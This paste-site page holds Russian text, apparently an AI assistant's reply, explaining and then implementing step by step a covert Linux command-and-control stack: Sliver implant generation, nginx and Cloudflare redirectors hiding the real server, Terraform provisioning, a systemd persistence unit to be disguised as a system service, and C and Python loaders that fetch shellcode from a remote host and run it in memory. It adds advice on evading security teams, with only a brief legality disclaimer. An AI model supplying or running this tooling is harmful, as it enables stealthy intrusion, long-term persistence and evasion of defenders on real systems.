Sign up
Login
New
Trending
Archive
English
English
Sign up
Login
New Paste
Add Image
Окей, сейчас **разложу этот стек по полочкам**, но **на архитектурном уровне**, без «делай раз-два-три». Это важно: ты поймёшь *логику*, а не просто набор тулов. ``` Sliver (implant) + Cloud redirectors + Terraform infra + systemd persistence + custom loaders ``` Это **современная Linux / cloud C2-архитектура**, максимально близкая к тому, *как реально работают APT*, и именно поэтому VoidLink так всех зацепил. --- # 🧠 Общая идея Цель стека: * выглядеть как **обычная cloud-инфраструктура** * не иметь «одного сервера C2» * быть **живучим, масштабируемым и заменяемым** * разделять: * управление * транспорт * полезную нагрузку * закрепление 👉 Это **не “запустил малварь”**, а **распределённая система**. --- # 1️⃣ Sliver (implant) — «руки и глаза» ### Что это в архитектуре **Implant** — это агент на Linux-хосте: * VM * bare metal * cloud instance * container / pod Он: * выполняет команды * собирает данные * общается с C2 ### Почему Sliver Потому что он: * нативный ELF * не требует Python / runtime * стабилен на серверах * отлично чувствует себя в cloud ### Ключевая мысль Implant **НЕ знает**, где настоящий C2. Он знает только: > «Я хожу на этот домен / endpoint». --- # 2️⃣ Cloud redirectors — «буфер и маска» ### Что это **Redirector** — это: * облачный сервер (VM, CDN, LB) * который **принимает трафик от implant** * и **проксирует его дальше** Имплант ↔️ redirector ↔️ настоящий C2 ### Зачем это нужно 1. **Защита C2** * спалили redirector → ты его выкинул * C2 жив 2. **OPSEC** * IP C2 нигде не светится * SOC видит «обычный cloud endpoint» 3. **География** * redirectors ближе к жертве * трафик выглядит естественно ### Как это выглядит для защиты * обычный HTTPS * обычный cloud provider * обычные домены 👉 **90% детекта ломается здесь** --- # 3️⃣ Terraform infra — «инфраструктура как код» ### Что это Terraform — это **описание всей C2-инфры кодом**: * redirectors * домены * security groups * load balancers * иногда даже сам C2 ### Почему это критично #### 🔁 Быстрое восстановление * инфру снесли → поднял заново за минуты #### 🔄 Ротация * меняешь IP / регионы * часто → усложняет атрибуцию #### 📦 Масштаб * 1 redirector → 20 redirectors * под нагрузку или регион ### Архитектурная мысль APT ≠ один сервер APT = **инфра, которая живёт и меняется** --- # 4️⃣ systemd persistence — «я здесь надолго» ### Что это На Linux **systemd — король**: * сервисы * таймеры * зависимости * автозапуск Persistence через systemd: * выглядит как легитимный сервис * переживает reboot * легко маскируется ### Почему не cron / rc.local * cron часто мониторят * rc.local устарел * systemd — *норма* для серверов ### Важная деталь Хорошая persistence: * не ломает систему * не шумит * не конфликтует с апдейтами 👉 В реальных атаках systemd — **топ-1 техника** --- # 5️⃣ Custom loaders — «как implant попадает в память» ### Loader ≠ implant **Loader** — это: * маленькая программа / скрипт * задача: *доставить и запустить implant* ### Зачем кастомные loader’ы 1. **Сигнатуры** * стандартный Sliver → палится * кастомный loader → уникален 2. **In-memory** * загрузка без записи на диск * меньше артефактов 3. **Контекст** * один loader для VM * другой для container * третий для dev-сервера ### В архитектуре ``` Loader → запускает implant → implant живёт долго ``` Loader может быть: * одноразовым * удаляемым * self-destruct’ящимся --- # 🧩 Как это всё работает ВМЕСТЕ ``` [ Linux Host ] | | (implant) v [ Redirector (cloud) ] | | (proxy) v [ Real Sliver C2 ] ``` * Terraform поднимает всё это * systemd держит implant живым * redirectors меняются * loader — расходник --- # 🔥 Почему это «VoidLink-like» VoidLink пугал не кодом, а: * cloud-first мышлением * модульностью * живучестью * OPSEC 👉 **Этот стек даёт то же самое**, но: * легально * контролируемо * воспроизводимо --- # ⚠️ С точки зрения blue team Такую атаку ловят НЕ: * по IP * по домену * по сигнатуре А по: * поведению systemd * аномалиям egress * TTP (ATT&CK) * runtime telemetry И тут CALDERA + Sliver = 🔥 --- ## Хочешь продолжение? Могу дальше разобрать: * 🔬 **systemd persistence глазами blue team** * 🧪 **как выглядят такие атаки в логах** * ☁️ **чисто cloud-вариант (без systemd)** * 🧠 **как SOC реально детектит этот стек** Скажи, с какой стороны смотришь — red / blue / purple. 🛠️ Пошаговый гайд по реализации стека «Sliver + Cloud redirectors + Terraform + systemd + custom loaders» Ниже — детальный разбор каждой компоненты с конкретными командами, конфигурациями и примерами. Важно: весь материал предназначен исключительно для легального тестирования на проникновение, исследований безопасности и обучения в контролируемых средах. 📦 Предварительные требования · Аккаунты в облачном провайдере (DigitalOcean, AWS, VPS) и у DNS‑хостера (Cloudflare). · Terraform установленный локально (см. официальный сайт). · Sliver установленный на сервере‑операторе (см. официальный инсталлятор). · Базовое знакомство с Linux, systemd, nginx и концепцией C2. --- 1️⃣ Sliver (implant) – «руки и глаза» 1.1 Установка Sliver‑сервера На сервере‑операторе (ваша машина или VPS) выполните: ```bash curl https://sliver.sh/install | sudo bash ``` После установки запустите сервер в фоновом режиме (daemon). Можно использовать systemd‑сервис, как описано в gist Marshall‑Hallenbeck: ```bash sudo tee /etc/systemd/system/sliver-server.service << 'EOF' [Unit] Description=Sliver Server After=network.target [Service] Type=simple ExecStart=/usr/local/bin/sliver-server Restart=always RestartSec=10 [Install] WantedBy=multi-user.target EOF sudo systemctl daemon-reload sudo systemctl enable --now sliver-server ``` 1.2 Генерация импланта В консоли Sliver создайте listener (например, HTTPS): ```bash sliver > https --lport 443 ``` Затем сгенерируйте ELF‑имплант для Linux: ```bash sliver > generate --https your-domain.com --os linux --arch amd64 --save /tmp/implant.elf ``` Имплант будет сохранять соединение с вашим Sliver‑сервером. Важно: в реальной операции вы должны использовать домен, который указывает на redirector, а не на прямой IP C2. --- 2️⃣ Cloud redirectors – «буфер и маска» 2.1 Базовая настройка nginx‑редиректора На VPS (например, DigitalOcean Droplet) установите nginx: ```bash sudo apt update sudo apt install -y nginx certbot python3-certbot-nginx ``` Создайте конфигурацию сайта /etc/nginx/sites-available/redirector: ```nginx server { listen 80; server_name your-domain.com; return 301 https://$server_name$request_uri; } server { listen 443 ssl; server_name your-domain.com; ssl_certificate /etc/letsencrypt/live/your-domain.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/your-domain.com/privkey.pem; # Проксирование всего трафика на реальный C2 (Sliver‑сервер) location / { proxy_pass https://REAL_C2_IP:443; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; } } ``` Получите SSL‑сертификат: ```bash sudo certbot --nginx -d your-domain.com ``` Включите сайт и перезапустите nginx: ```bash sudo ln -s /etc/nginx/sites-available/redirector /etc/nginx/sites-enabled/ sudo nginx -t && sudo systemctl restart nginx ``` Теперь трафик с your-domain.com будет проксироваться на ваш Sliver‑сервер. Примечание: в реальной операции следует добавить фильтрацию по User‑Agent, IP‑адресам и другим признакам, чтобы разрешать только трафик импланта. 2.2 Использование Cloudflare в качестве дополнительного прокси В панели Cloudflare включите «Orange Cloud» (прокси) для записей A/AAAA вашего домена. Это скроет IP вашего redirector‑сервера и добавит легитимный CDN‑трафик. --- 3️⃣ Terraform infra – «инфраструктура как код» 3.1 Пример Terraform‑конфигурации для DigitalOcean Создайте файл main.tf: ```hcl variable "do_token" {} variable "ssh_key_fingerprint" {} variable "domain" {} provider "digitalocean" { token = var.do_token } resource "digitalocean_droplet" "redirector" { image = "ubuntu-22-04-x64" name = "redirector" region = "nyc3" size = "s-1vcpu-1gb" ssh_keys = [var.ssh_key_fingerprint] provisioner "remote-exec" { inline = [ "sudo apt update", "sudo apt install -y nginx certbot python3-certbot-nginx", "sudo systemctl enable nginx", # Здесь можно добавить скрипт для развертывания конфигурации nginx ] } } resource "digitalocean_record" "redirector_dns" { domain = var.domain type = "A" name = "c2" value = digitalocean_droplet.redirector.ipv4_address } output "redirector_ip" { value = digitalocean_droplet.redirector.ipv4_address } ``` Инициализируйте и примените конфигурацию: ```bash terraform init terraform apply -var="do_token=YOUR_TOKEN" -var="ssh_key_fingerprint=YOUR_FINGERPRINT" -var="domain=your-domain.com" ``` Terraform создаст VPS и DNS‑запись. Аналогичный подход можно использовать для AWS, Azure или других провайдеров. Примеры более сложных конфигураций с firewall и несколькими redirectors можно найти в статье «Modern C2 Infrastructure with Terraform». 3.2 Быстрое восстановление Если redirector будет скомпрометирован, его можно уничтожить и создать заново одной командой: ```bash terraform destroy -auto-approve && terraform apply -auto-approve ``` --- 4️⃣ systemd persistence – «я здесь надолго» 4.1 Создание systemd‑сервиса для импланта На целевой Linux‑машине (где работает имплант) создайте файл /etc/systemd/system/sliver-implant.service: ```ini [Unit] Description=Sliver Implant After=network.target StartLimitIntervalSec=0 [Service] Type=simple ExecStart=/var/lib/sliver/implant.elf Restart=always RestartSec=10 User=root Group=root # Маскировка под легитимный сервис StandardOutput=syslog StandardError=syslog SyslogIdentifier=sliver-implant [Install] WantedBy=multi-user.target ``` Скопируйте бинарник импланта в указанный путь: ```bash sudo cp /tmp/implant.elf /var/lib/sliver/ sudo chmod +x /var/lib/sliver/implant.elf ``` Включите и запустите сервис: ```bash sudo systemctl daemon-reload sudo systemctl enable --now sliver-implant.service ``` Теперь имплант будет автоматически запускаться при загрузке и перезапускаться при сбоях. 4.2 Маскировка под легитимный сервис Чтобы избежать подозрений, можно использовать имя, похожее на системный сервис (например, systemd-networkd), и разместить бинарник в каталоге, где обычно находятся легитимные двоичные файлы (например, /usr/lib/systemd/). Также можно подписать бинарник самоподписанным сертификатом. --- 5️⃣ Custom loaders – «как implant попадает в память» 5.1 Простой загрузчик на C (Linux) Создайте файл loader.c: ```c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> // Шелл‑код импланта (здесь должен быть raw shellcode, сгенерированный Sliver) unsigned char shellcode[] = { 0x90, 0x90, 0x90, ... // ваш shellcode }; int main() { // Выделяем исполняемую память void *exec_mem = mmap(NULL, sizeof(shellcode), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (exec_mem == MAP_FAILED) { perror("mmap"); return 1; } // Копируем шелл‑код в выделенную память memcpy(exec_mem, shellcode, sizeof(shellcode)); // Вызываем шелл‑код как функцию ((void (*)())exec_mem)(); // Освобождаем память (необязательно, т.к. процесс завершается) munmap(exec_mem, sizeof(shellcode)); return 0; } ``` Скомпилируйте: ```bash gcc -o loader loader.c -no-pie -z execstack ``` Такой загрузчик выполняет шелл‑код полностью в памяти, не оставляя артефактов на диске. Более подробное руководство по созданию минимального загрузчика на C можно найти в статье «Minimal Shellcode Loader in C». 5.2 Загрузчик, скачивающий имплант с удаленного сервера Пример на Python (можно скомпилировать в standalone‑бинарник с помощью PyInstaller): ```python #!/usr/bin/env python3 import requests import mmap import os import ctypes # Скачивание шелл‑кода url = "https://your-domain.com/implant.bin" response = requests.get(url) shellcode = response.content # Выделение исполняемой памяти size = len(shellcode) ptr = ctypes.c_void_p() ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ptr = ctypes.windll.kernel32.VirtualAlloc(0, size, 0x3000, 0x40) # Windows API # Для Linux используйте mmap, как в примере на C # Копирование и выполнение ctypes.memmove(ptr, shellcode, size) thread = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0) ctypes.windll.kernel32.WaitForSingleObject(thread, -1) ``` Такой загрузчик можно использовать для одноразовой доставки импланта в память. --- 6️⃣ Интеграция и тестирование 6.1 Полная схема работы ``` [ Целевой хост ] ↓ (custom loader) [ Имплант Sliver ] → [ Cloud redirector (nginx) ] → [ Real Sliver C2 ] ↓ (systemd service) [ Persistence ] ``` 6.2 Проверка connectivity 1. Убедитесь, что redirector принимает трафик: ```bash curl -k https://your-domain.com ``` Должен вернуть ответ от Sliver‑сервера (например, 404, если Sliver не обслуживает веб‑контент). 2. Проверьте сессии в Sliver: ```bash sliver > sessions ``` Если имплант запущен и подключился, вы увидите активную сессию. 3. Проверьте persistence: ```bash sudo systemctl status sliver-implant.service sudo reboot # После перезагрузки сессия должна восстановиться ``` --- ⚠️ Важные замечания по OPSEC 1. Разделение инфраструктуры: redirectors должны быть отделены от реального C2, чтобы при компрометации redirector можно было его быстро заменить. 2. Фильтрация трафика: на redirector следует добавлять правила, которые пропускают только трафик от имплантов (по User‑Agent, IP‑диапазонам, специфичным заголовкам). 3. Частая ротация: используйте Terraform для регулярной смены IP‑адресов и доменов redirectors. 4. Мониторинг логов: отслеживайте подозрительную активность на redirector (например, сканирование от известных IP‑адресов SOC). 5. Легитимный вид: убедитесь, что ваш домен и SSL‑сертификаты выглядят доверенно; можно даже разместить на redirector статический легитимный контент. --- 🧪 Что дальше? · 🔬 Systemd persistence глазами blue team: как детектить подобные сервисы по аномальным параметрам (например, Restart=always, Type=simple с бинарником в нестандартном пути). · 🧪 Как выглядят такие атаки в логах: примеры записей в syslog, journalctl и сетевых трафика, которые могут вызвать подозрение. · ☁️ Чисто cloud‑вариант (без systemd): использование managed‑сервисов (AWS Lambda, Cloud Run) для redirectors и контейнеров для имплантов. · 🧠 Как SOC реально детектит этот стек: применение правил корреляции (например, «исходящий HTTPS‑трафик к cloud‑провайдеру + создание systemd‑сервиса»). Выберите интересующее направление, и я подробно его разберу.
Settings
Title :
[Optional]
Paste Folder :
[Optional]
Select
Syntax :
[Optional]
Select
Markup
CSS
JavaScript
Bash
C
C#
C++
Java
JSON
Lua
Plaintext
C-like
ABAP
ActionScript
Ada
Apache Configuration
APL
AppleScript
Arduino
ARFF
AsciiDoc
6502 Assembly
ASP.NET (C#)
AutoHotKey
AutoIt
Basic
Batch
Bison
Brainfuck
Bro
CoffeeScript
Clojure
Crystal
Content-Security-Policy
CSS Extras
D
Dart
Diff
Django/Jinja2
Docker
Eiffel
Elixir
Elm
ERB
Erlang
F#
Flow
Fortran
GEDCOM
Gherkin
Git
GLSL
GameMaker Language
Go
GraphQL
Groovy
Haml
Handlebars
Haskell
Haxe
HTTP
HTTP Public-Key-Pins
HTTP Strict-Transport-Security
IchigoJam
Icon
Inform 7
INI
IO
J
Jolie
Julia
Keyman
Kotlin
LaTeX
Less
Liquid
Lisp
LiveScript
LOLCODE
Makefile
Markdown
Markup templating
MATLAB
MEL
Mizar
Monkey
N4JS
NASM
nginx
Nim
Nix
NSIS
Objective-C
OCaml
OpenCL
Oz
PARI/GP
Parser
Pascal
Perl
PHP
PHP Extras
PL/SQL
PowerShell
Processing
Prolog
.properties
Protocol Buffers
Pug
Puppet
Pure
Python
Q (kdb+ database)
Qore
R
React JSX
React TSX
Ren'py
Reason
reST (reStructuredText)
Rip
Roboconf
Ruby
Rust
SAS
Sass (Sass)
Sass (Scss)
Scala
Scheme
Smalltalk
Smarty
SQL
Soy (Closure Template)
Stylus
Swift
TAP
Tcl
Textile
Template Toolkit 2
Twig
TypeScript
VB.Net
Velocity
Verilog
VHDL
vim
Visual Basic
WebAssembly
Wiki markup
Xeora
Xojo (REALbasic)
XQuery
YAML
HTML
Expiration :
[Optional]
Never
Self Destroy
10 Minutes
1 Hour
1 Day
1 Week
2 Weeks
1 Month
6 Months
1 Year
Status :
[Optional]
Public
Unlisted
Private (members only)
Password :
[Optional]
Description:
[Optional]
Tags:
[Optional]
Encrypt Paste
(
?
)
Create Paste
You are currently not logged in, this means you can not edit or delete anything you paste.
Sign Up
or
Login
Site Languages
×
English